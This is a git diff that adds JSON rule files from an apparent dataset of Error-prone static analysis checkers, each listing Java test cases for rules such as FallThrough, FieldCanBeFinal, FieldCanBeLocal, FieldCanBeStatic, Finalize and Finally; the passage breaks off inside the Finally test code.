a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FallThrough.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FallThrough.json new file mode 100644 index 0000000..20f676b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FallThrough.json @@ -0,0 +1,70 @@ +{ + "name": "FallThrough", + "language": "java", + "description": "Switch case may fall through", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 95, + "branches": 18, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n public class FallThroughPositiveCases {\n\n class NonTerminatingTryFinally {\n\n public int foo(int i) {\n int z = 0;\n switch (i) {\n case 0:\n try {\n if (z > 0) {\n return i;\n } else {\n z++;\n }\n } finally {\n z++;\n }\n // BUG: Diagnostic contains:\n case 1:\n return -1;\n default:\n return 0;\n }\n }\n }\n\n abstract class TryWithNonTerminatingCatch {\n\n int foo(int i) {\n int z = 0;\n switch (i) {\n case 0:\n try {\n return bar();\n } catch (RuntimeException e) {\n log(e);\n throw e;\n } catch (Exception e) {\n log(e); // don't throw\n }\n // BUG: Diagnostic contains:\n case 1:\n return -1;\n default:\n return 0;\n }\n }\n\n abstract int bar() throws Exception;\n\n void log(Throwable e) {}\n }\n\n public class Tweeter {\n\n public int numTweets = 55000000;\n\n public int everyBodyIsDoingIt(int a, int b) {\n switch (a) {\n case 1:\n System.out.println(\"1\");\n // BUG: Diagnostic contains:\n case 2:\n System.out.println(\"2\");\n // BUG: Diagnostic contains:\n default:\n }\n return 0;\n }\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.io.FileInputStream;\n import java.io.IOException;\n\n public class FallThroughNegativeCases {\n\n public class AllowAnyComment {\n\n public int numTweets = 55000000;\n\n public int everyBodyIsDoingIt(int a, int b) {\n switch (a) {\n case 1:\n System.out.println(\"1\");\n // fall through\n case 2:\n System.out.println(\"2\");\n break;\n default:\n }\n return 0;\n }\n }\n\n static class EmptyDefault {\n\n static void foo(String s) {\n switch (s) {\n case \"a\":\n case \"b\":\n throw new RuntimeException();\n default:\n // do nothing\n }\n }\n\n static void bar(String s) {\n switch (s) {\n default:\n }\n }\n }\n\n class TerminatedSynchronizedBlock {\n\n private final Object o = new Object();\n\n int foo(int i) {\n switch (i) {\n case 0:\n synchronized (o) {\n return i;\n }\n case 1:\n return -1;\n default:\n return 0;\n }\n }\n }\n\n class TryWithNonTerminatingFinally {\n\n int foo(int i) {\n int z = 0;\n switch (i) {\n case 0:\n try {\n return i;\n } finally {\n z++;\n }\n case 1:\n return -1;\n default:\n return 0;\n }\n }\n }\n\n abstract class TryWithTerminatingCatchBlocks {\n\n int foo(int i) {\n int z = 0;\n switch (i) {\n case 0:\n try {\n return bar();\n } catch (RuntimeException e) {\n log(e);\n throw e;\n } catch (Exception e) {\n log(e);\n throw new RuntimeException(e);\n }\n case 1:\n return -1;\n default:\n return 0;\n }\n }\n\n int tryWithResources(String path, int i) {\n switch (i) {\n case 0:\n try (FileInputStream f = new FileInputStream(path)) {\n return f.read();\n } catch (IOException e) {\n throw new RuntimeException(e);\n }\n case 1:\n try (FileInputStream f = new FileInputStream(path)) {\n return f.read();\n } catch (IOException e) {\n throw new RuntimeException(e);\n }\n default:\n throw new RuntimeException(\"blah\");\n }\n }\n\n abstract int bar() throws Exception;\n\n void log(Throwable e) {}\n }\n\n class TryWithTerminatingFinally {\n\n int foo(int i) {\n int z = 0;\n switch (i) {\n case 0:\n try {\n z++;\n } finally {\n return i;\n }\n case 1:\n return -1;\n default:\n return 0;\n }\n }\n }\n }" + }, + { + "description": "foreverLoop", + "expected-problems": null, + "expected-linenumbers": [ + 271 + ], + "code": "class Test {\n void f(int x) {\n switch (x) {\n case 1:\n for (; ; ) {}\n case 2:\n break;\n }\n }\n }" + }, + { + "description": "commentInBlock", + "expected-problems": null, + "expected-linenumbers": [ + 291 + ], + "code": "class Test {\n void f(int x) {\n switch (x) {\n case 0:\n {\n // fall through\n }\n case 1:\n {\n System.err.println();\n // fall through\n }\n case 2:\n break;\n }\n }\n }" + }, + { + "description": "emptyBlock", + "expected-problems": null, + "expected-linenumbers": [ + 318 + ], + "code": "class Test {\n void f(char c, boolean b) {\n switch (c) {\n case 'a':\n {\n }\n // fall through\n default:\n }\n }\n }" + }, + { + "description": "arrowSwitch", + "expected-problems": null, + "expected-linenumbers": [ + 339 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO\n }\n\n void m(Case c) {\n switch (c) {\n case ONE -> {}\n case TWO -> {}\n default -> {}\n }\n }\n }" + }, + { + "description": "i2118", + "expected-problems": null, + "expected-linenumbers": [ + 364 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO\n }\n\n void m(Case c) {\n switch (c) {\n case ONE:\n switch (c) {\n case ONE -> m(c);\n case TWO -> m(c);\n }\n default:\n assert false;\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FieldCanBeFinal.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FieldCanBeFinal.json new file mode 100644 index 0000000..01ea0bd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FieldCanBeFinal.json @@ -0,0 +1,214 @@ +{ + "name": "FieldCanBeFinal", + "language": "java", + "description": "This field is only assigned during initialization; consider making it final", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 300, + "branches": 27, + "apis": 8, + "test": [ + { + "description": "annotationFieldsAreAlreadyFinal", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "public @interface Anno {\n int x = 42;\n static int y = 42;\n }" + }, + { + "description": "simple", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "class Test {\n // BUG: Diagnostic contains: private final int x\n private int x;\n\n Test() {\n x = 42;\n }\n }" + }, + { + "description": "keepAnnotatedFields_ignored", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "import com.google.errorprone.annotations.Keep;\n\n class Test {\n @Keep private int x;\n\n Test() {\n x = 42;\n }\n }" + }, + { + "description": "injectAnnotatedFields_ignored", + "expected-problems": null, + "expected-linenumbers": [ + 84 + ], + "code": "import javax.inject.Inject;\n\n class Test {\n @Inject private int x;\n\n Test() {\n x = 42;\n }\n }" + }, + { + "description": "initializerBlocks", + "expected-problems": null, + "expected-linenumbers": [ + 103 + ], + "code": "class Test {\n // BUG: Diagnostic contains: private final int x1\n private int x1;\n private int x2;\n // BUG: Diagnostic contains: private static final int y1\n private static int y1;\n private static int y2;\n\n {\n x1 = 42;\n x2 = 42;\n }\n\n static {\n y1 = 42;\n y2 = 42;\n }\n\n void mutate() {\n x2 = 0;\n y2 = 0;\n }\n }" + }, + { + "description": "staticSetFromInstance", + "expected-problems": null, + "expected-linenumbers": [ + 136 + ], + "code": "class Test {\n // BUG: Diagnostic contains: private static final int x1\n private static int x1;\n private static int x2;\n\n static {\n x1 = 42;\n x2 = 42;\n }\n\n {\n x2 = 42;\n }\n }" + }, + { + "description": "suppressionOnField", + "expected-problems": null, + "expected-linenumbers": [ + 160 + ], + "code": "class Test {\n @SuppressWarnings(\"FieldCanBeFinal\")\n private int x;\n\n Test() {\n x = 42;\n }\n }" + }, + { + "description": "suppressionOnClass", + "expected-problems": null, + "expected-linenumbers": [ + 178 + ], + "code": "@SuppressWarnings(\"FieldCanBeFinal\")\n class Test {\n private int x;\n\n Test() {\n x = 42;\n }\n }" + }, + { + "description": "constructorChaining", + "expected-problems": null, + "expected-linenumbers": [ + 197 + ], + "code": "class Test {\n // BUG: Diagnostic contains: private final int x\n private int x;\n\n Test(int x) {\n this.x = x;\n }\n\n Test() {\n this(42);\n }\n }" + }, + { + "description": "controlFlow", + "expected-problems": null, + "expected-linenumbers": [ + 220 + ], + "code": "class Test {\n // BUG: Diagnostic contains: private final int x\n private int x;\n\n Test(boolean flag, int x, int y) {\n if (flag) {\n this.x = x;\n } else {\n this.x = y;\n }\n }\n }" + }, + { + "description": "doubleInitialization", + "expected-problems": null, + "expected-linenumbers": [ + 242 + ], + "code": "class Test {\n private int x;\n\n Test(int x) {\n this.x = x;\n this.x = x;\n }\n }" + }, + { + "description": "compoundAssignment", + "expected-problems": null, + "expected-linenumbers": [ + 260 + ], + "code": "class Test {\n private int x;\n\n Test() {\n this.x = 42;\n }\n\n void incr() {\n x += 1;\n }\n }" + }, + { + "description": "unaryAssignment", + "expected-problems": null, + "expected-linenumbers": [ + 281 + ], + "code": "class Test {\n private int x;\n\n Test() {\n this.x = 42;\n }\n\n void incr() {\n x++;\n }\n }" + }, + { + "description": "constructorAssignmentToOtherInstance", + "expected-problems": null, + "expected-linenumbers": [ + 302 + ], + "code": "class Test {\n private int x;\n // BUG: Diagnostic contains: private final int y\n private int y;\n\n Test(Test other) {\n x = 42;\n y = 42;\n other.x = x;\n }\n }" + }, + { + "description": "assignmentFromOutsideCompilationUnit", + "expected-problems": null, + "expected-linenumbers": [ + 323 + ], + "code": "class A {\n int x;\n\n A(B b) {\n x = 42;\n b.x = 42;\n }\n }\n \n\n class B {\n int x;\n\n B(A a) {\n x = 42;\n a.x = 42;\n }\n }" + }, + { + "description": "guardInitialization", + "expected-problems": null, + "expected-linenumbers": [ + 355 + ], + "code": "" + }, + { + "description": "fieldInitialization", + "expected-problems": null, + "expected-linenumbers": [ + 370 + ], + "code": "class Test {\n // BUG: Diagnostic contains: private final boolean flag\n private boolean flag = false;\n\n Test() {}\n }" + }, + { + "description": "ignoreInject", + "expected-problems": null, + "expected-linenumbers": [ + 386 + ], + "code": "import javax.inject.Inject;\n\n class Test {\n @Inject private Object x;\n\n Test() {\n this.x = x;\n }\n }" + }, + { + "description": "allowNonFinal_nonFinalForTesting", + "expected-problems": null, + "expected-linenumbers": [ + 405 + ], + "code": "@interface NonFinalForTesting {}\n\n class Test {\n @NonFinalForTesting private int x;\n\n Test(int x) {\n this.x = x;\n }\n }" + }, + { + "description": "visibleForTesting", + "expected-problems": null, + "expected-linenumbers": [ + 424 + ], + "code": "import com.google.common.annotations.VisibleForTesting;\n\n class Test {\n @VisibleForTesting public int x;\n\n Test() {\n x = 42;\n }\n }" + }, + { + "description": "protectedField", + "expected-problems": null, + "expected-linenumbers": [ + 443 + ], + "code": "import com.google.common.annotations.VisibleForTesting;\n\n class Test {\n protected int x;\n\n Test() {\n x = 42;\n }\n }" + }, + { + "description": "nonPrivateField", + "expected-problems": null, + "expected-linenumbers": [ + 462 + ], + "code": "import com.google.common.annotations.VisibleForTesting;\n\n class Test {\n public int x;\n int y;\n\n Test() {\n x = 42;\n y = 42;\n }\n }" + }, + { + "description": "allowObjectifyClasses", + "expected-problems": null, + "expected-linenumbers": [ + 483 + ], + "code": "package com.googlecode.objectify.v4.annotation;\n\n public @interface Entity {}\n \n\n import com.googlecode.objectify.v4.annotation.Entity;\n\n @Entity\n class Test {\n private int x;\n\n Test(int x) {\n this.x = x;\n }\n }" + }, + { + "description": "initInLambda", + "expected-problems": null, + "expected-linenumbers": [ + 510 + ], + "code": "class Test {\n private int x;\n private final Runnable r;\n\n Test() {\n r = () -> x = 1;\n }\n }" + }, + { + "description": "constructorAssignmentWithLambdaReassignment", + "expected-problems": null, + "expected-linenumbers": [ + 528 + ], + "code": "class Test {\n private Runnable r;\n\n Test() {\n r = foo(() -> r = null);\n }\n\n private static Runnable foo(Runnable r) {\n return r;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FieldCanBeLocal.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FieldCanBeLocal.json new file mode 100644 index 0000000..9063dea --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FieldCanBeLocal.json @@ -0,0 +1,206 @@ +{ + "name": "FieldCanBeLocal", + "language": "java", + "description": "This field can be replaced with a local variable in the methods that use it.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 284, + "branches": 27, + "apis": 5, + "test": [ + { + "description": "simplePositive", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n private int a;\n\n int foo() {\n a = 1;\n return a;\n }\n }" + }, + { + "description": "fullyUnused_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "class Test {\n private int a;\n\n void foo() {\n a = 1;\n }\n }" + }, + { + "description": "suppressedByUnusedPrefix", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "class Test {\n private int unusedA;\n\n int foo() {\n unusedA = 1;\n return unusedA;\n }\n }" + }, + { + "description": "multipleAssignments", + "expected-problems": null, + "expected-linenumbers": [ + 89 + ], + "code": "class Test {\n private int a;\n\n int foo() {\n a = 1;\n a = 2;\n return a;\n }\n }\n \n\n class Test {\n int foo() {\n int a = 1;\n a = 2;\n return a;\n }\n }" + }, + { + "description": "hasFieldAnnotation_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "import java.lang.annotation.ElementType;\n import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n import java.lang.annotation.Target;\n\n @Target(ElementType.FIELD)\n @Retention(RetentionPolicy.RUNTIME)\n @interface Field {}\n \n\n class Test {\n @Field private int a;\n\n int foo() {\n a = 1;\n return a;\n }\n }" + }, + { + "description": "hasVariableAnnotation_matchesAndAnnotationCopied", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "import java.lang.annotation.ElementType;\n import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n import java.lang.annotation.Target;\n\n @Target({ElementType.FIELD, ElementType.LOCAL_VARIABLE})\n @Retention(RetentionPolicy.RUNTIME)\n @interface Field {}\n \n\n class Test {\n @Field private int a;\n\n int foo() {\n a = 1;\n return a;\n }\n }\n \n\n class Test {\n int foo() {\n @Field int a = 1;\n return a;\n }\n }" + }, + { + "description": "multipleVariableAnnotations", + "expected-problems": null, + "expected-linenumbers": [ + 190 + ], + "code": "import javax.annotation.Nonnull;\n import javax.annotation.Nullable;\n\n class Test {\n @Nonnull /* foo */ @Nullable private Integer a;\n\n int foo() {\n a = 1;\n return a;\n }\n }\n \n\n import javax.annotation.Nonnull;\n import javax.annotation.Nullable;\n\n class Test {\n\n int foo() {\n @Nonnull /* foo */\n @Nullable\n Integer a = 1;\n return a;\n }\n }" + }, + { + "description": "hasTypeUseAnnotation_match", + "expected-problems": null, + "expected-linenumbers": [ + 227 + ], + "code": "import java.lang.annotation.ElementType;\n import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n import java.lang.annotation.Target;\n\n @Target(ElementType.TYPE_USE)\n @Retention(RetentionPolicy.RUNTIME)\n @interface Field {}\n \n\n class Test {\n @Field private int a;\n\n int foo() {\n a = 1;\n return a;\n }\n }\n \n\n class Test {\n int foo() {\n @Field int a = 1;\n return a;\n }\n }" + }, + { + "description": "suppressedOnMethod", + "expected-problems": null, + "expected-linenumbers": [ + 268 + ], + "code": "class Test {\n @SuppressWarnings(\"FieldCanBeLocal\")\n private int a;\n\n int foo() {\n a = 1;\n return a;\n }\n }" + }, + { + "description": "suppressedOnClass", + "expected-problems": null, + "expected-linenumbers": [ + 287 + ], + "code": "@SuppressWarnings(\"FieldCanBeLocal\")\n class Test {\n private int a;\n\n int foo() {\n a = 1;\n return a;\n }\n }" + }, + { + "description": "inlineConditional_noWarning", + "expected-problems": null, + "expected-linenumbers": [ + 306 + ], + "code": "class Test {\n private int a;\n\n int foo(int b) {\n a = b > 2 ? a : b;\n return a;\n }\n\n int bar(int b) {\n a = b;\n return a;\n }\n }" + }, + { + "description": "fieldIsPublic_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 329 + ], + "code": "class Test {\n public int a;\n\n int foo() {\n a = 1;\n return a;\n }\n }" + }, + { + "description": "usedBeforeAssigment_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 347 + ], + "code": "class Test {\n public int a;\n\n int foo() {\n if (a < 0) {\n return 0;\n }\n a = 1;\n return a;\n }\n }" + }, + { + "description": "usedInMultipleMethods_alwaysAssignedFirst_positive", + "expected-problems": null, + "expected-linenumbers": [ + 368 + ], + "code": "class Test {\n private int a;\n\n int foo() {\n a = 1;\n return a;\n }\n\n int bar() {\n a = 2;\n return a;\n }\n }\n \n\n class Test {\n int foo() {\n int a = 1;\n return a;\n }\n\n int bar() {\n int a = 2;\n return a;\n }\n }" + }, + { + "description": "qualifiedWithThis_refactoringRemovesThis", + "expected-problems": null, + "expected-linenumbers": [ + 406 + ], + "code": "class Test {\n private int a;\n\n int foo() {\n this.a = 1;\n return a;\n }\n\n int bar() {\n this.a = 2;\n return a;\n }\n }\n \n\n class Test {\n int foo() {\n int a = 1;\n return a;\n }\n\n int bar() {\n int a = 2;\n return a;\n }\n }" + }, + { + "description": "assignmentToFieldOfSameName_isRemoved", + "expected-problems": null, + "expected-linenumbers": [ + 444 + ], + "code": "class Test {\n private int a;\n\n Test(int a) {\n this.a = a;\n int b = a + 2;\n }\n\n int foo() {\n this.a = 1;\n return a;\n }\n\n int bar() {\n this.a = 2;\n return a;\n }\n }\n \n\n class Test {\n Test(int a) {\n int b = a + 2;\n }\n\n int foo() {\n int a = 1;\n return a;\n }\n\n int bar() {\n int a = 2;\n return a;\n }\n }" + }, + { + "description": "usedBeforeReassignment_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 491 + ], + "code": "class Test {\n private int a;\n\n int foo() {\n a = a + 1;\n return a;\n }\n }" + }, + { + "description": "fieldAssignedOnField", + "expected-problems": null, + "expected-linenumbers": [ + 509 + ], + "code": "class Test {\n class Sub {\n private int a;\n\n int a() {\n return a;\n }\n }\n\n private Sub sub;\n\n Test(Sub sub) {\n this.sub = sub;\n }\n\n void foo() {\n sub.a = 1;\n }\n }" + }, + { + "description": "usedWithinClassScope_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 538 + ], + "code": "import java.util.function.Predicate;\n\n class Test {\n private Integer a;\n Predicate predicate = b -> a == b;\n\n Test(int a) {\n this.a = a;\n }\n\n public void set(int a) {\n this.a = a;\n }\n }" + }, + { + "description": "usedWithinLambda_noWarning", + "expected-problems": null, + "expected-linenumbers": [ + 562 + ], + "code": "import java.util.function.Predicate;\n\n class Test {\n private Integer a;\n\n Test(int a) {\n this.a = a;\n }\n\n public Predicate set(int a) {\n this.a = a;\n return x -> x == this.a;\n }\n }" + }, + { + "description": "usedWithinLambdaMemberSelect", + "expected-problems": null, + "expected-linenumbers": [ + 586 + ], + "code": "import java.util.function.Predicate;\nimport java.util.stream.Stream;\nimport java.util.Collections;\n\nclass Test {\n private Integer a;\n\n Test(int a) {\n this.a = a;\n }\n\n public Stream set(int a) {\n this.a = a;\n return Collections.emptyList().stream().filter(x -> x == this.a).filter(x -> x > 0);\n }\n}" + }, + { + "description": "usedInStaticInitializer", + "expected-problems": null, + "expected-linenumbers": [ + 612 + ], + "code": "class Test {\n static {\n Test[] tests = new Test[0];\n for (Test test : tests) {\n int b = test.a;\n }\n }\n\n private Integer a;\n\n Test(int a) {\n this.a = a;\n }\n }" + }, + { + "description": "unusedPrivateMethod", + "expected-problems": null, + "expected-linenumbers": [ + 636 + ], + "code": "import com.google.errorprone.annotations.Keep;\n import java.lang.annotation.ElementType;\n import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n import java.lang.annotation.Target;\n import javax.inject.Inject;\n\n public class Test {\n @Keep private int a;\n @ProvidesCustom private int b;\n\n public int test(int aa, int bb) {\n a = aa;\n b = bb;\n return a + b;\n }\n\n @Keep\n @Target(ElementType.FIELD)\n @Retention(RetentionPolicy.SOURCE)\n private @interface ProvidesCustom {}\n }" + }, + { + "description": "accessedInOtherMethod", + "expected-problems": null, + "expected-linenumbers": [ + 668 + ], + "code": "class Test {\n private int x;\n\n int f() {\n x = 42;\n g();\n return x;\n }\n\n void g() {\n x = 46;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FieldCanBeStatic.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FieldCanBeStatic.json new file mode 100644 index 0000000..7a60ad8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FieldCanBeStatic.json @@ -0,0 +1,142 @@ +{ + "name": "FieldCanBeStatic", + "language": "java", + "description": "A final field initialized at compile-time with an instance of an immutable type can be static.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 198, + "branches": 10, + "apis": 4, + "test": [ + { + "description": "simpleCase", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import java.time.Duration;\n\n class Test {\n private final Duration myDuration = Duration.ofMillis(1);\n\n public Duration d() {\n return this.myDuration;\n }\n }\n \n\n import java.time.Duration;\n\n class Test {\n private static final Duration MY_DURATION = Duration.ofMillis(1);\n\n public Duration d() {\n return MY_DURATION;\n }\n }" + }, + { + "description": "instantWithPureMethod", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "import java.time.Instant;\n\n class Test {\n private final Instant instant = Instant.ofEpochMilli(1);\n }\n \n\n import java.time.Instant;\n\n class Test {\n private static final Instant INSTANT = Instant.ofEpochMilli(1);\n }" + }, + { + "description": "instantWithNonPureMethod", + "expected-problems": null, + "expected-linenumbers": [ + 90 + ], + "code": "import java.time.Instant;\n\n class Test {\n private final Instant instant = Instant.now();\n }" + }, + { + "description": "refersToStaticVariable", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "import java.time.Duration;\n\n class Test {\n private static final int millis = 1;\n private final Duration myDuration = Duration.ofMillis(millis);\n\n public Duration d() {\n return this.myDuration;\n }\n }\n \n\n import java.time.Duration;\n\n class Test {\n private static final int millis = 1;\n private static final Duration MY_DURATION = Duration.ofMillis(millis);\n\n public Duration d() {\n return MY_DURATION;\n }\n }" + }, + { + "description": "refersToInstanceVariable", + "expected-problems": null, + "expected-linenumbers": [ + 140 + ], + "code": "import java.time.Duration;\n\n class Test {\n final int millis = 1;\n private final Duration myDuration = Duration.ofMillis(millis);\n\n public Duration d() {\n return this.myDuration;\n }\n }" + }, + { + "description": "notPrivate_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 161 + ], + "code": "import java.time.Duration;\n\n class Test {\n public final Duration d = Duration.ofMillis(1);\n }" + }, + { + "description": "notFinal_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 177 + ], + "code": "import java.time.Duration;\n\n class Test {\n private Duration d = Duration.ofMillis(1);\n }" + }, + { + "description": "exemptedAnnotation_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 193 + ], + "code": "import com.google.inject.testing.fieldbinder.Bind;\n import java.time.Duration;\n\n class Test {\n @Bind private final Duration d = Duration.ofMillis(1);\n }" + }, + { + "description": "possibleImpureInitializer_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 210 + ], + "code": "import java.time.Duration;\n\n class Test {\n private final Duration d = getDuration();\n\n Duration getDuration() {\n return null;\n }\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 230 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n private final int primitive = 3;\n // BUG: Diagnostic contains:\n private final String string = \"string\";\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 246 + ], + "code": "class Test {\n private static final String staticFinalInitializer;\n\n static {\n staticFinalInitializer = \"string\";\n }\n\n private static final String staticFinal = \"string\";\n private int nonFinal = 3;\n private static int staticNonFinal = 4;\n private final Object finalMutable = new Object();\n private final int nonLiteral = new java.util.Random().nextInt();\n private final Person pojo = new Person(\"Bob\", 42);\n\n private static class Person {\n final String name;\n final int age;\n\n Person(String name, int age) {\n this.name = name;\n this.age = age;\n }\n }\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 280 + ], + "code": "class Test {\n private final int foo = 1;\n private final int BAR_FIELD = 2;\n\n int f() {\n return foo + BAR_FIELD;\n }\n }\n \n\n class Test {\n private static final int FOO = 1;\n private static final int BAR_FIELD = 2;\n\n int f() {\n return FOO + BAR_FIELD;\n }\n }" + }, + { + "description": "inner", + "expected-problems": null, + "expected-linenumbers": [ + 310 + ], + "code": "import java.time.Duration;\n\n class Test {\n class I {\n private final Duration D = Duration.ofMillis(1);\n // BUG: Diagnostic contains: can be static\n private final int I = 42;\n }\n\n static class S {\n // BUG: Diagnostic contains: can be static\n private final Duration D = Duration.ofMillis(1);\n // BUG: Diagnostic contains: can be static\n private final int I = 42;\n }\n\n void f() {\n class L {\n private final Duration D = Duration.ofMillis(1);\n // BUG: Diagnostic contains: can be static\n private final int I = 42;\n }\n new Object() {\n private final Duration D = Duration.ofMillis(1);\n // BUG: Diagnostic contains: can be static\n private final int I = 42;\n };\n }\n }" + }, + { + "description": "inner_static", + "expected-problems": null, + "expected-linenumbers": [ + 350 + ], + "code": "import java.time.Duration;\n\n class Test {\n class I {\n // BUG: Diagnostic contains: can be static\n private final Duration D = Duration.ofMillis(1);\n // BUG: Diagnostic contains: can be static\n private final int I = 42;\n }\n\n static class S {\n // BUG: Diagnostic contains: can be static\n private final Duration D = Duration.ofMillis(1);\n // BUG: Diagnostic contains: can be static\n private final int I = 42;\n }\n\n void f() {\n class L {\n // BUG: Diagnostic contains: can be static\n private final Duration D = Duration.ofMillis(1);\n // BUG: Diagnostic contains: can be static\n private final int I = 42;\n }\n new Object() {\n // BUG: Diagnostic contains: can be static\n private final Duration D = Duration.ofMillis(1);\n // BUG: Diagnostic contains: can be static\n private final int I = 42;\n };\n }\n }" + }, + { + "description": "record", + "expected-problems": null, + "expected-linenumbers": [ + 392 + ], + "code": "package example;\n\n public final class ExampleClass {\n public record OtherRecord(String value) {}\n\n public record SomeRecord(OtherRecord value) {\n public static SomeRecord fromValue(final OtherRecord value) {\n return new SomeRecord(value);\n }\n }\n\n private ExampleClass() {}\n }" + }, + { + "description": "instanceFieldsCannotBeStatic", + "expected-problems": null, + "expected-linenumbers": [ + 415 + ], + "code": "class Test {\n private final int foo;\n\n Test(int foo) {\n this.foo = foo;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Finalize.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Finalize.json new file mode 100644 index 0000000..7d58c71 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Finalize.json @@ -0,0 +1,30 @@ +{ + "name": "Finalize", + "language": "java", + "description": "Do not override finalize", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 49, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n // BUG: Diagnostic contains: Do not override finalize\n protected void finalize() {}\n\n interface A {\n // BUG: Diagnostic contains: Do not override finalize\n void finalize();\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "class Test {\n public void finalize(int x) {}\n\n interface B {\n public int finalize();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Finally.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Finally.json new file mode 100644 index 0000000..522daed --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Finally.json @@ -0,0 +1,54 @@ +{ + "name": "Finally", + "language": "java", + "description": "If you return or throw from a finally, then values returned or thrown from the try-catch block will be ignored. Consider using try-with-resources instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 192, + "branches": 33, + "apis": 6, + "test": [ + { + "description": "positiveCase1", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n/**\n * When a finally statement is exited because of a return, throw, break, or continue statement,\n * unintuitive behaviour can occur. Consider:\n *\n *

\n * {@code\n * finally foo() {\n *   try {\n *     return true;\n *   } finally {\n *     return false;\n *   }\n * }\n * 
\n *\n * Because the finally block always executes, the first return statement has no effect and the\n * method will return false.\n *\n * @author eaftan@google.com (Eddie Aftandilian)\n * @author cushon@google.com (Liam Miller-Cushon)\n */\npublic class FinallyPositiveCase1 {\n\n public static void test1() {\n while (true) {\n try {\n } finally {\n // BUG: Diagnostic contains:\n break;\n }\n }\n }\n\n public static void test2() {\n while (true) {\n try {\n } finally {\n // BUG: Diagnostic contains:\n continue;\n }\n }\n }\n\n public static void test3() {\n try {\n } finally {\n // BUG: Diagnostic contains:\n return;\n }\n }\n\n public static void test4() throws Exception {\n try {\n } finally {\n // BUG: Diagnostic contains:\n throw new Exception();\n }\n }\n\n /** break statement jumps to outer labeled while, not inner one. */\n public void test5() {\n label:\n while (true) {\n try {\n } finally {\n while (true) {\n // BUG: Diagnostic contains:\n break label;\n }\n }\n }\n }\n\n /** continue statement jumps to outer labeled for, not inner one. */\n public void test6() {\n label:\n for (; ; ) {\n try {\n } finally {\n for (; ; ) {\n // BUG: Diagnostic contains:\n continue label;\n }\n }\n }\n }\n\n /** continue statement jumps to while, not switch. */\n public void test7() {\n int i = 10;\n while (true) {\n try {\n } finally {\n switch (i) {\n case 10:\n // BUG: Diagnostic contains:\n continue;\n }\n }\n }\n }\n\n public void test8() {\n try {\n } finally {\n {\n {\n {\n {\n 